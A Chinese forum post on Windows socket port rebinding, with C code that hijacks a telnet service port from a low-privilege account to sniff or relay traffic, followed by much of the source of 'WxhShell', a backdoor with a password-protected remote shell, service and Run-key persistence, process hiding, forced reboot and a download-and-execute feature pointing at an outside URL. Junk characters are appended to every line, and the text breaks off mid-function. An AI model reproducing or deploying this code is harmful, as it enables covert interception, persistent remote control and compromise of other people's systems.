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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: PQ j_j#0  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); OtJS5A  
#8A|-u=3  
  saddr.sin_family = AF_INET; BkcOsJIz  
g#e"BBm=A  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); Kxg09\5i  
z;-2xD0&U[  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); vR-/c  
%!@Dop/<  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 &{>~ |^  
(g 8K?Q  
  这意味着什么?意味着可以进行如下的攻击:  h /on  
pJqayzV  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。  H='`#l1  
MSA*XDnN  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) wFh{\  
to2#PXf]y  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 Q4H(JD1f)  
Y5dt/8Jo  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  [ClDKswq  
XJ$mRh0`K  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 ^X?D4a|;#g  
k vu SE  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 T"bH{|:%*=  
W5)R{w0`GD  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 <2.87:  
tyI !y~-z  
  #include qj.>4d  
  #include ;q"Yz-3  
  #include w=;Jj7}L  
  #include    w'r?)WW$  
  DWORD WINAPI ClientThread(LPVOID lpParam);   `GpOS_;  
  int main() xs}3=&c(  
  { V7gv@<1<y  
  WORD wVersionRequested; Nn/f*GDvK  
  DWORD ret; 5 LX'fL7zU  
  WSADATA wsaData; [X&VxTxr  
  BOOL val; X]1Q# $b  
  SOCKADDR_IN saddr; kq4ii`zi8  
  SOCKADDR_IN scaddr; cWU9mzsE  
  int err; Gi+ZI{)  
  SOCKET s; Iq?#kV9)  
  SOCKET sc; 1;E^3j$  
  int caddsize; \*+-Bm:$j  
  HANDLE mt; 2?}5U)Hg  
  DWORD tid;   x & ZW f?  
  wVersionRequested = MAKEWORD( 2, 2 ); $[6]Ly(F)  
  err = WSAStartup( wVersionRequested, &wsaData ); 3UNmUDl[~  
  if ( err != 0 ) { />dH\KvN  
  printf("error!WSAStartup failed!\n"); n5U-D0/Q  
  return -1; 2mt S\bAF  
  } bd;?oYV~  
  saddr.sin_family = AF_INET;  %>z)Q  
   1w$X;q"  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 `Ei:Z%@7C  
+FBUB  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); W1\F-:4L@  
  saddr.sin_port = htons(23); %2ZWSQD  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 8h '~*  
  { q(s&2|  
  printf("error!socket failed!\n"); *=)kR7,]9d  
  return -1; 6mml96(  
  } K9=f`JI9  
  val = TRUE; $v\o14 v  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 B.Y8O^rx  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) *Z}9S9YtN  
  { nl/~7({  
  printf("error!setsockopt failed!\n"); "~,3gNTzV  
  return -1; d+L!s7  
  } =8W'4MC  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; TD^w|U.  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 SLjSNuOP  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 x*a^msY%  
*V[6ta'  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) =2&Sw(6j  
  { O <#H5/Tq  
  ret=GetLastError(); %<yH6h*u  
  printf("error!bind failed!\n"); %<rV~9:  
  return -1; (!:+q$#BK  
  } bPMkBm  
  listen(s,2); EF5:$#  
  while(1) @q++eGm\Q  
  { #Nv)SCc  
  caddsize = sizeof(scaddr); 3aERfIJyE  
  //接受连接请求 nS9 kwaO  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 586lN22xM  
  if(sc!=INVALID_SOCKET) }WM!e"  
  { u8N"i),  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); a[hQ<@1O  
  if(mt==NULL) met`f0jw  
  { D&/~lhyNZ  
  printf("Thread Creat Failed!\n"); $(N+E,XB  
  break; IRY/0v  
  } 4H@K?b`  
  } 8iXt8XY3  
  CloseHandle(mt); 4) z*Vux  
  } nmy!.0SQ-  
  closesocket(s); g?> V4WF  
  WSACleanup(); PsOu:`=r  
  return 0; ;pVnBi  
  }   2/f!{lz](  
  DWORD WINAPI ClientThread(LPVOID lpParam) /PTk296@  
  { r~Vb*~U"  
  SOCKET ss = (SOCKET)lpParam; +xojnv  
  SOCKET sc; /~}<[6ZGCY  
  unsigned char buf[4096]; Ns5'K^  
  SOCKADDR_IN saddr; bTJ l  
  long num; Gid6,J  
  DWORD val; -;W`0 k^  
  DWORD ret; p$!Q?&AV/  
  //如果是隐藏端口应用的话,可以在此处加一些判断 .e1Yd8  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   #:M <<gk  
  saddr.sin_family = AF_INET; Gcp!"y=i  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); i=aK ?^+  
  saddr.sin_port = htons(23); k:* (..!0z  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)  mm9xO%  
  { ~pG,|\9  
  printf("error!socket failed!\n"); j=y{ey7Fd  
  return -1; ?r/)s()ALf  
  } zA%$l&QN]  
  val = 100; ~%Xs"R1c ,  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) R,f"2 k  
  { rls\3 R(jt  
  ret = GetLastError(); g#s hd~e  
  return -1; [a!*m<  
  } Z;[f,Oj  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) N5jJ,iz  
  { 0.lOSAq  
  ret = GetLastError(); TM<;Nj[*n  
  return -1; .u\xA7X  
  } B0dv_'L}L  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) *G(ZRj@ 33  
  { 5rlZ'>I.  
  printf("error!socket connect failed!\n"); Fa-F`U@h(m  
  closesocket(sc); -I*NS6  
  closesocket(ss); f0]`TjY  
  return -1; XO,gEn&6V  
  } }/g1s71  
  while(1) &09g0K66  
  { =5u;\b>*  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 E)]RQ~jY?  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 \z[L=  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 1,Ji|&Pwf  
  num = recv(ss,buf,4096,0); /\ u1q<  
  if(num>0) qY$]^gS  
  send(sc,buf,num,0); xY$@^(Q\  
  else if(num==0) U~s-'-C /  
  break; R/@n+tb e  
  num = recv(sc,buf,4096,0); ^zVW 3 Y q  
  if(num>0) Q/^a(   
  send(ss,buf,num,0); yYn7y1B  
  else if(num==0) tq&CJvJ4  
  break; l$J2|\M6  
  } Dio9'&DtC  
  closesocket(ss); 5%;=(Oig  
  closesocket(sc); 3iBUIv  
  return 0 ; L2{b~`UvP  
  } zIy&gOX  
53O}`xX!6  
4M*!'sG\  
========================================================== j5V{,lf  
RE.t<VasP  
下边附上一个代码,,WXhSHELL .BrYz:#A  
gN5;Uk  
========================================================== 3"p'WZ>  
#Z1 <lAy  
#include "stdafx.h" $ nHf0.V1  
5 ]l8l+  
#include <stdio.h> ,B,:$G<  
#include <string.h> W'L  
#include <windows.h> IUSV\X9  
#include <winsock2.h> S- JD}+ 9  
#include <winsvc.h>  RR[1mM  
#include <urlmon.h> -AZ\u\xCB  
(2 nSZRB  
#pragma comment (lib, "Ws2_32.lib") HpbSf1VvAf  
#pragma comment (lib, "urlmon.lib") "AN*2)e4  
EKQ\MC1  
#define MAX_USER   100 // 最大客户端连接数 1 8*M  
#define BUF_SOCK   200 // sock buffer pl#2J A8  
#define KEY_BUFF   255 // 输入 buffer sd5%Szx  
Jcy{ ~>@7  
#define REBOOT     0   // 重启 bCa%$  
#define SHUTDOWN   1   // 关机 <b JF&,  
38<Z=#S  
#define DEF_PORT   5000 // 监听端口 /RG>n  
1>~bzXY#  
#define REG_LEN     16   // 注册表键长度 }Gvu!a#R  
#define SVC_LEN     80   // NT服务名长度 +aY]?]  
-uk}Fou  
// 从dll定义API `jHbA#sO  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 1hTE^\W  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); \\R$C  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 5%r:hO @S  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); T]_]{%z  
gZf8/Tp\z  
// wxhshell配置信息 5&C:&=Y  
struct WSCFG { 4UxxmREx;  
  int ws_port;         // 监听端口 4*U5o!w1{  
  char ws_passstr[REG_LEN]; // 口令 FF5|qCV/z  
  int ws_autoins;       // 安装标记, 1=yes 0=no -P6Z[ V%  
  char ws_regname[REG_LEN]; // 注册表键名 SSQB1c  
  char ws_svcname[REG_LEN]; // 服务名 aP ToP.e  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Tr@|QNu  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 oKMr Pr[`  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 S+ 3l X7  
int ws_downexe;       // 下载执行标记, 1=yes 0=no mu*RXLai  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" xY d]|y  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 L*#W?WMM v  
-HU4Ow  
}; yM2}J s C  
\=qZ),bU@  
// default Wxhshell configuration \\ZCi`O  
struct WSCFG wscfg={DEF_PORT, 91#rP|88;  
    "xuhuanlingzhe", 0-Ga2Go9  
    1, 9;7|MPbR  
    "Wxhshell", h!mx/Hx  
    "Wxhshell", r"|UgCc  
            "WxhShell Service", Qv W vS9]  
    "Wrsky Windows CmdShell Service", B,fVNpqo  
    "Please Input Your Password: ", ^M)+2@6  
  1, KvH t`  
  "http://www.wrsky.com/wxhshell.exe", [G",Yky  
  "Wxhshell.exe" v[<x>?i D_  
    }; Y#t9DhzFWo  
u[ E0jI  
// 消息定义模块 eg1Mdg\a  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; nX_w F`n"  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 8#nAs\^  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; }X/>WiGh:  
char *msg_ws_ext="\n\rExit."; wq7h8Z}l  
char *msg_ws_end="\n\rQuit."; \iRmGvT  
char *msg_ws_boot="\n\rReboot..."; ,4j^ lgJ  
char *msg_ws_poff="\n\rShutdown..."; '2Lx>nByk  
char *msg_ws_down="\n\rSave to "; J9/EJ'My  
,R\ex =c  
char *msg_ws_err="\n\rErr!"; Y?6}r;<  
char *msg_ws_ok="\n\rOK!"; rI OKCL?  
Iw4[D#o  
char ExeFile[MAX_PATH]; 9tWpxrig%  
int nUser = 0; S6<#] 6 Z  
HANDLE handles[MAX_USER]; t$&'mJ_-w  
int OsIsNt; t*J?#r  
+|--}iE5n  
SERVICE_STATUS       serviceStatus; \S_A e;  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; *nK4XgD  
[Z2{S-)UM  
// 函数声明 rJ{k1H>  
int Install(void); )3WUyD*UZN  
int Uninstall(void); C/4r3A/u  
int DownloadFile(char *sURL, SOCKET wsh); 5@J]#bp0M  
int Boot(int flag); 0RjFa;j  
void HideProc(void); h$XoR0  
int GetOsVer(void); v|KGzQx$.*  
int Wxhshell(SOCKET wsl); 'ka}x~EF  
void TalkWithClient(void *cs); * a^wYWa  
int CmdShell(SOCKET sock); <MKX F V  
int StartFromService(void); / */"gz%  
int StartWxhshell(LPSTR lpCmdLine); e8E'X  
5IA3\G}+  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); QnJLTBv  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); @ULd~  
voFg6zoV_  
// 数据结构和表定义 e=s({V  
SERVICE_TABLE_ENTRY DispatchTable[] = ILx4 [m7  
{ lvRTy|%[  
{wscfg.ws_svcname, NTServiceMain}, njaKU?6%d2  
{NULL, NULL} @ M4m!;rM  
}; P 'o]#Az  
e _(';Lk  
// 自我安装 =4sx(<  
int Install(void) LqXVi80  
{ P @J)S ?  
  char svExeFile[MAX_PATH]; P+y XC^ ,  
  HKEY key; zf]e"e  
  strcpy(svExeFile,ExeFile); \=P(?!v  
M(yWE0 3  
// 如果是win9x系统,修改注册表设为自启动 4\ |/S@.  
if(!OsIsNt) { >5E1y!  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { } ,^p{J/  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 89j:YfA=v  
  RegCloseKey(key); $E!f@L  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ,c0t#KgQ.  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); `Z#':0Z  
  RegCloseKey(key); ei>iXDt  
  return 0; ;>/yY]F7  
    } orYZ<,u  
  } cq5^7.  
} Wsp c ;]&  
else { P_b!^sq9  
`mI5Z*]-  
// 如果是NT以上系统,安装为系统服务 *2}f $8  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 2.=G  
if (schSCManager!=0) HO_(it \  
{ }I MV@z B  
  SC_HANDLE schService = CreateService 15En$6>  
  ( a@Zolz_Z  
  schSCManager, +sTPTCLE  
  wscfg.ws_svcname, u.G aMl4 (  
  wscfg.ws_svcdisp, 2#00<t\  
  SERVICE_ALL_ACCESS, $iMLT8U  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , \rATmjsKzS  
  SERVICE_AUTO_START, v,8Q9<=O  
  SERVICE_ERROR_NORMAL, 4\nG Wi{2  
  svExeFile, f& \ Bs8la  
  NULL, I<XYLe[_S  
  NULL, r&Qa;-4Pl  
  NULL, xG(iSuz  
  NULL, h@'CmIZc  
  NULL KK5_;<  
  ); >]%$lSCW\D  
  if (schService!=0) G,c2?^#n  
  { kwqY~@W  
  CloseServiceHandle(schService); Zy.ls&<:  
  CloseServiceHandle(schSCManager); yGSZ;BDW:K  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); $TS97'$  
  strcat(svExeFile,wscfg.ws_svcname); =F Y2O`%a  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { B[6k [Vs  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); tl*h"du^  
  RegCloseKey(key); 4e;$+! dlV  
  return 0; C(h Td%  
    } +A^|aQ  
  } ].5q,A]  
  CloseServiceHandle(schSCManager); h:U#F )  
} q_ryW$/_  
} v`jHd*&6)  
80 T2EN:$  
return 1; lhnGk'@d  
} <%`Rku  
O9o]4;  
// 自我卸载 km][QEXs%  
int Uninstall(void) %W2U$I5  
{ P,a9B2  
  HKEY key; Z h9D^ I  
&zJ\D`\,O  
if(!OsIsNt) { H?a $o(  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { md? cvGDE  
  RegDeleteValue(key,wscfg.ws_regname); ='=4tj=z  
  RegCloseKey(key); A+frKoi  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 6,M$TA  
  RegDeleteValue(key,wscfg.ws_regname); z}.6yHS  
  RegCloseKey(key); MxT&@pq  
  return 0; 2eeFaFif  
  } `4X.UPJ  
} GUqG1u z9  
} 4[JF.O6}  
else { *)`PY4zF  
Y*p<\{,oC  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ]4V1]  
if (schSCManager!=0) *]h"J]  
{ N{&Lo}6F  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); E i>GhvRM  
  if (schService!=0) Eu "8IM!%-  
  { 6OAEAIh  
  if(DeleteService(schService)!=0) { FE^/us7r  
  CloseServiceHandle(schService); ? daxb  
  CloseServiceHandle(schSCManager); &7>]# *  
  return 0; H_t0$x(\  
  } kaiK1/W0;  
  CloseServiceHandle(schService); #Ha"rr46p  
  } ^Go,HiB  
  CloseServiceHandle(schSCManager); r\F2X J^  
} c2,g %(  
} L-rV+?i`6f  
+>;Ux1'@  
return 1; Q _!tn*  
} IGVq`Mxj  
3!/J!X3L  
// 从指定url下载文件 G3+e5/0  
int DownloadFile(char *sURL, SOCKET wsh) XTk :lzFH  
{ 8!3q:8y8  
  HRESULT hr; K@xMPB8in  
char seps[]= "/"; n'{jc 6&|  
char *token; 0zT-]0  
char *file; $ta JVVF  
char myURL[MAX_PATH]; 4F0w+w JD  
char myFILE[MAX_PATH]; UF6U5],`u  
X[H.t$w5A  
strcpy(myURL,sURL); =T26vu   
  token=strtok(myURL,seps); =uNc\a(  
  while(token!=NULL) fp\mBei  
  { n 3&h1-  
    file=token; ZsXw]Wa  
  token=strtok(NULL,seps); @NL<v-t  
  } z"\w9 @W  
NB'G{),)Z  
GetCurrentDirectory(MAX_PATH,myFILE); Bw!J!cCj  
strcat(myFILE, "\\"); NF4(+E9g  
strcat(myFILE, file); iHf):J?8 y  
  send(wsh,myFILE,strlen(myFILE),0); He4HI Z  
send(wsh,"...",3,0); "nfi :A1  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); _z%~ m2SP  
  if(hr==S_OK) O;V^Fk(  
return 0; ^[}W}j>  
else m-tn|m!J  
return 1; iRkUL]H@&  
cT@| $A  
} .57F h)Y  
yS4VgP'W  
// 系统电源模块 d*04[5`  
int Boot(int flag) /U!B2%vq_  
{ yi~]}M  
  HANDLE hToken; Zos.WS#  
  TOKEN_PRIVILEGES tkp; >b9J!'G,(  
4VeT]`C^h  
  if(OsIsNt) { C@]D*k  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 8EdaqF  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); /=AFle2(  
    tkp.PrivilegeCount = 1; B<-("P(q  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; L >"O[@  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); |@1(^GX  
if(flag==REBOOT) { kb"Fw:0  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) yX{7<\x   
  return 0; Wtk|}>Pf  
} 4Hb"yp$  
else { =?+w5oI0  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ]}l.*v\uK  
  return 0; o$%KbfXO]  
} B:UPSX)A  
  } D$H&^,?N  
  else { rwW"B  
if(flag==REBOOT) { *\}$,/m['  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) JzCkVF$  
  return 0; R)$]r>YZF  
} Q7F4OS5b  
else { L>WxAeyu1K  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) }QQl.'  
  return 0; "%dENK  
} 4Wa$>vz  
} !blGc$kC  
f>cUdEPBb  
return 1; K%/\XnCY  
} Z[Iej:o5  
%" mki>  
// win9x进程隐藏模块 'x? |tKzd  
void HideProc(void) R8!~>$#C6)  
{ {|<r7K1<  
%RF$Y=c'C  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); -AVT+RE9z  
  if ( hKernel != NULL ) D,FgX/&i/  
  { 5S&Qj7kr  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); N.E{6_{S  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Yh"9,Z&wiR  
    FreeLibrary(hKernel); g26_#4 P  
  } O5+Ah%  
Kc1w[EQ  
return; |FlB#  
} 0v1~#KCm  
(k"0/*F4_  
// 获取操作系统版本 &+oJPpHi\  
int GetOsVer(void) V8o, e  
{ 4z~;4   
  OSVERSIONINFO winfo; l$l6,OzS@  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ]0%{ IgB  
  GetVersionEx(&winfo); e,#5I(E  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 3]'h(C  
  return 1; AOL=;z9c#  
  else D0S^Msk9L  
  return 0; QP!;Gwqr  
} 4-'0# a  
"av/a   
// 客户端句柄模块 *?Wr^T  
int Wxhshell(SOCKET wsl) #zSNDv`  
{ KlBT9"6"  
  SOCKET wsh; 9nlj{(  
  struct sockaddr_in client; YLSDJ$K6  
  DWORD myID; {ynI]Wj`L  
|Df`Aq(eYJ  
  while(nUser<MAX_USER) J]48th0,  
{ #q&N d2y  
  int nSize=sizeof(client); !l .^]|  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); f!GFRMM1  
  if(wsh==INVALID_SOCKET) return 1; -I#<?=0B  
^tjM1uaZ5(  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); R \y qM;2  
if(handles[nUser]==0) z!k  
  closesocket(wsh); UK@hnQU8`  
else .)FFl  
  nUser++; U}<zn+SI#V  
  } 4}YHg&@\d%  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); !g~u'r'1  
D42!#  
  return 0; N#:W#C{16w  
} # .OCoc  
V`feUFw3  
// 关闭 socket ?i~mt'O  
void CloseIt(SOCKET wsh) SvQj'5~<  
{ k>\s6  
closesocket(wsh); zj1_#=]  
nUser--; i^}DIx{  
ExitThread(0); g9=O<u#  
} }.<]A  
lOIf4  
// 客户端请求句柄 dda*gq/p  
void TalkWithClient(void *cs) dJ{'b '#  
{ eGbjk~,f'  
 JU=4v!0  
  SOCKET wsh=(SOCKET)cs; $*+UX   
  char pwd[SVC_LEN]; 0'`#I  
  char cmd[KEY_BUFF]; >>h0(G|  
char chr[1]; 9NC'iFQ#  
int i,j; t@BhosR-  
>#xIqxV,  
  while (nUser < MAX_USER) { gBXbB9  
=l}XKl->  
if(wscfg.ws_passstr) { Ar[$%  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); gBy7 q09r  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); .W0;Vhw"  
  //ZeroMemory(pwd,KEY_BUFF); 0tN/P+!|  
      i=0; p+{*&Hm5  
  while(i<SVC_LEN) { Q$^Kf]pD  
G:|=d0  
  // 设置超时 <cR]-Yr~  
  fd_set FdRead; X&|y|  
  struct timeval TimeOut; PZCOJK  
  FD_ZERO(&FdRead); +{ {'3=x9  
  FD_SET(wsh,&FdRead); @-jI<g  
  TimeOut.tv_sec=8;  ZG-[Gz  
  TimeOut.tv_usec=0; tc)4$"9)  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); @ u2 P&|:{  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); h#I]gHQK  
UP e@>  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 7D)i]68E  
  pwd=chr[0]; !>QD42  
  if(chr[0]==0xd || chr[0]==0xa) { )?,X\/5  
  pwd=0; .c2Zr|X  
  break; >=3ay^(Y2D  
  } sT%^W  
  i++; ^ )[jBUT  
    } )\Ay4 d  
K6; sxF  
  // 如果是非法用户,关闭 socket HP eN0=7>  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); RS1c+]rr  
} jM|-(Es. )  
4"y1M=he  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 58.b@@T  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); J+20]jI  
n*GsM6Y&  
while(1) { 8X2NEVH]  
M?zwXmTVW0  
  ZeroMemory(cmd,KEY_BUFF); p$OkWSi~  
*1cl PK  
      // 自动支持客户端 telnet标准   &KZr`"cT#  
  j=0; O &De!Gx  
  while(j<KEY_BUFF) { #99fFs`w  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 6 P6Pl&  
  cmd[j]=chr[0]; (*\*7dIo  
  if(chr[0]==0xa || chr[0]==0xd) { R#i{eE*WF  
  cmd[j]=0; 9Jhc5G  
  break; 6YeEr!zt%  
  } Fj~,>   
  j++; 0($ O1j~$  
    } c O[Hr  
\ZPmPu9^(  
  // 下载文件 lYt|C^  
  if(strstr(cmd,"http://")) { JVgV,4 1  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); r.T!R6v}  
  if(DownloadFile(cmd,wsh)) 2PrUI;J$  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Xitsb f=Gg  
  else u= u#6%  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); $8"G9r  
  } Pa-p9]gq  
  else { OcWzo#q4[  
O0VbKW0h3  
    switch(cmd[0]) { AvS<b3EoN  
  2!+saf^-,  
  // 帮助 fxKhe[;  
  case '?': { ^k7`:@ z0U  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); R;68C6 4  
    break; )Kw Gb&l&  
  } E 9LKVs}  
  // 安装 r(#]Z   
  case 'i': { !leLOi2T  
    if(Install()) Fuuy_+p@G  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8I X,q  
    else ^mA^7jB  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); G(~ s(r{%I  
    break; =I}8-AS~V  
    }  XAb!hc   
  // 卸载 )_\ZUem  
  case 'r': { `?fY!5BA  
    if(Uninstall()) 1D6F WYV8  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); uFzvb0O`O  
    else ]N\J~Gm  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); >8*J ;(:W  
    break; N^{"k,vB-  
    } }?0At<(d  
  // 显示 wxhshell 所在路径 #H;yXsR `  
  case 'p': { k_^| %xJ  
    char svExeFile[MAX_PATH]; d0Jaa1b~O  
    strcpy(svExeFile,"\n\r"); f""+jc1  
      strcat(svExeFile,ExeFile); ZT \=:X*e  
        send(wsh,svExeFile,strlen(svExeFile),0); q (?%$u.  
    break; 1I{^]]qw  
    } sSM^net0  
  // 重启 (H\)BS7#R  
  case 'b': { a=m7pe ^  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); L1'#wH  
    if(Boot(REBOOT)) R*v~jR/   
    send(wsh,msg_ws_err,strlen(msg_ws_err),0);  yO7xAb  
    else { +EtL+Y (U  
    closesocket(wsh); ^WZcM#~TL  
    ExitThread(0); 9&>)4HNd?  
    } km)5?  
    break; w A0 $d  
    } -t<8)9q(  
  // 关机 mr`Lxy9e  
